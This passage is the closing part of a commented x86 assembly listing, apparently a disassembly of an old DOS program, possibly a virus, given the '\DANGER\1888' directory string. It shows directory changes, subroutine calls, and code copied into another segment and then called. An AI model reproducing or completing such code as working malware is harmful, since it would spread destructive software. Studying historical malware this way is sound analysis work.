  1888.         jne    loc_0F8B        ; Jump if not equal
  1889.         lea    dx,data_015A        ; ('C:\') Load effective addr
  1890.         mov    ah,3Bh            ; ';'
  1891.         int    21h            ; DOS Services  ah=function 3Bh
  1892.                         ;  set current dir, path @ ds:dx
  1893.         mov    data_019A,0FFh
  1894.         jmp    short loc_0F11
  1895. loc_0F8B:
  1896.         cmp    data_0182,0
  1897.         je    loc_0F9C        ; Jump if equal
  1898.         call    sub_0A8A
  1899.         dec    data_0182
  1900.         jmp    loc_0F11
  1901. loc_0F9C:
  1902.         lea    dx,data_013A        ; ('\DANGER\1888') Load effective addr
  1903.         mov    ah,3Bh            ; ';'
  1904.         int    21h            ; DOS Services  ah=function 3Bh
  1905.                         ;  set current dir, path @ ds:dx
  1906.         call    sub_0C40
  1907.         jz    loc_0FAC        ; Jump if zero
  1908.         call    sub_0C50
  1909. loc_0FAC:
  1910.         mov    ax,word ptr data_012C+2
  1911.         mov    es,ax
  1912.         mov    cx,5Bh
  1913.         mov    si,offset data_070C
  1914.         xor    di,di            ; Zero register
  1915.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  1916.         call    sub_09EE
  1917.         call    data_012C
  1918.  
  1919. seg_a        ends
  1920.  
  1921.  
  1922.  
  1923.         end    start
  1924.